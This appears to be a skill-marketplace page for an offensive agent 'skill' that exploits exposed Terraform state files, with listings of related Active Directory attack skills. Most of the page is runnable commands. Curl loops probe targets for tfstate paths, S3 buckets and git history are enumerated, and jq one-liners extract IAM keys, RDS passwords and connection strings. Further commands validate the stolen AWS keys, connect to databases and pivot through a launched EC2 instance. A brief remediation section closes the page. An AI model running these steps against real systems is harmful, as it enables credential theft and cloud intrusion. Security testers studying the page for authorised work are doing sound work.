terraform-state-leak
Exploit exposed Terraform state files — secrets, cloud creds, RDS passwords, IAM keys, and infrastructure topology in plain JSON.
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
菜单
Exploit exposed Terraform state files — secrets, cloud creds, RDS passwords, IAM keys, and infrastructure topology in plain JSON.
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
基于 SOC 职业分类
Benchmark mode marker — engagement objective is flag capture. Generic engagement rules apply unchanged.
Exploit Active Directory Certificate Services ESC1 — vulnerable template allows arbitrary SAN, enabling user impersonation up to domain admin.
BloodHound ingestion + canonical Cypher queries for AD attack-path enumeration. Run after collector dumps zip; promotes findings into the knowledge graph.
NetExec (CrackMapExec successor) — unified SMB/LDAP/MSSQL/WinRM/RDP/SSH/FTP/VNC protocol auth + post-auth modules. 200+ modules incl. BloodHound auto-ingest, ESC1-15 scanning, PrintNightmare, LDAP relay.
Active Directory attack lane — BloodHound ingestion, Kerberoasting, ADCS ESC scanning, DCSync, LAPS extraction.
Red team engagement lifecycle management — initiation, phase transitions, go/no-go gates, deconfliction, emergency procedures, completion.
| name | terraform-state-leak |
| description | Exploit exposed Terraform state files — secrets, cloud creds, RDS passwords, IAM keys, and infrastructure topology in plain JSON. |
| metadata | {"subdomain":"cloud","when_to_use":"terraform state leak secrets"} |
Terraform's terraform.tfstate file is a plaintext JSON map of every
resource Terraform manages, including:
Best practice is to store it encrypted in S3 with KMS. Misconfigurations that lead to leaks:
public-read ACLterraform.tfstate in a public Git repo (commit history!)terraform.tfstate.backup left in webrootWeb-exposed:
# Common paths
for path in '/terraform.tfstate' '/terraform.tfstate.backup' \
'/.terraform/terraform.tfstate' '/infra/terraform.tfstate' \
'/deploy/terraform.tfstate' '/scripts/terraform.tfstate'; do
curl -sf "https://$TARGET$path" -o "/tmp/tf-$(basename $path)" && \
echo "FOUND: $TARGET$path"
done
# Or scan with feroxbuster
feroxbuster -u "https://$TARGET" -w /tmp/tf-paths.txt \
-x tfstate,tfstate.backup,tfstate.json
S3-direct:
# Public bucket scan
aws s3 ls "s3://$BUCKET/" --no-sign-request --recursive | grep -E '\.tfstate'
# Common bucket-name patterns to enumerate
for prefix in "$ORG-terraform" "$ORG-tfstate" "$ORG-infra-state" \
"tf-state-$ORG" "$ORG-iac" "terraform-$ORG"; do
aws s3 ls "s3://$prefix" --no-sign-request 2>&1 | head -3
done
Git-history:
# Look for committed-then-removed state in target's public repos
gh search code "terraform.tfstate" --owner "$ORG" --json path,repository
# In a cloned repo
git log --all --full-history -- '*terraform.tfstate*'
git log -p --all --full-history -- '*terraform.tfstate*' | head -200
# Quick triage
jq '.terraform_version, .resources | length' /tmp/state.tfstate
# Extract every sensitive-looking value
jq -r '.resources[] | .instances[] | .attributes | to_entries[] |
select(.key | test("password|secret|token|key|credential"; "i")) |
"\(.key) = \(.value)"' /tmp/state.tfstate > /tmp/tf-secrets.txt
# IAM access keys (specifically)
jq -r '.resources[] | select(.type=="aws_iam_access_key") |
.instances[] | .attributes |
"\(.user) AKID:\(.id) SK:\(.secret)"' /tmp/state.tfstate
# RDS passwords
jq -r '.resources[] | select(.type=="aws_db_instance") |
.instances[] | .attributes | "\(.identifier):\(.username):\(.password)"' \
/tmp/state.tfstate
# Database connection URLs (often w/ embedded passwords)
jq -r '.resources[] | .instances[] | .attributes |
to_entries[] | select(.value | tostring | test("://[^:]+:[^@]+@")) |
.value' /tmp/state.tfstate
# Lambda env vars (often hold secrets)
jq -r '.resources[] | select(.type=="aws_lambda_function") |
.instances[] | .attributes.environment[]?.variables' /tmp/state.tfstate
Atlas ingest:
tfstate_audit("/tmp/state.tfstate")
Beyond raw secrets, the state reveals:
This data alone is high-value recon for a follow-on engagement.
AWS_ACCESS_KEY_ID=$AKID AWS_SECRET_ACCESS_KEY=$SK aws sts get-caller-identity
# Returns the IAM ARN if valid → confirmed live cred
AWS_ACCESS_KEY_ID=$AKID AWS_SECRET_ACCESS_KEY=$SK aws iam get-user
# Get user details + creation date → know if it's a real human or service
Pivot to aws-iam-enum/SKILL.md for privesc from here.
With password from state:
ENDPOINT=$(jq -r '.resources[] | select(.type=="aws_db_instance") |
.instances[] | .attributes.endpoint' /tmp/state.tfstate | head -1)
# Connect (requires network reach — usually need to be in VPC or pivot)
mysql -h $ENDPOINT -u $USER -p$PASSWORD
psql -h $ENDPOINT -U $USER # PGPASSWORD from state
If RDS isn't reachable from your perimeter: launch an EC2 in the same VPC using IAM keys from state (if the role has ec2:RunInstances), then hop through it.
kg_add_node(kind="vulnerability", label="Exposed Terraform state: <url>",
props={"severity":"critical","secrets_found":<n>})
for each cred:
kg_add_node(kind="credential", label="<service>:<value>")
kg_add_edge(src=<vuln>, dst=<cred>, kind="exposes")
GetCallerIdentity is benign but observable)*Sandbox* / *test* IAM users being used from new IPsCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H = 10.0# Migrate to S3 backend with encryption + versioning
terraform {
backend "s3" {
bucket = "tf-state-$ORG"
key = "infra.tfstate"
region = "us-east-1"
encrypt = true
kms_key_id = "arn:aws:kms:...:key/..."
dynamodb_table = "tf-state-lock"
}
}
# Verify bucket policy denies public access
aws s3api put-public-access-block --bucket tf-state-$ORG \
--public-access-block-configuration \
"BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true"
# Scan repos for committed state files
git log --all --full-history -- '*tfstate*' && \
echo "DELETE COMMIT HISTORY containing state files (use BFG repo-cleaner)"
-backend-config=encrypt=true defaults to local state which lands in artifact storage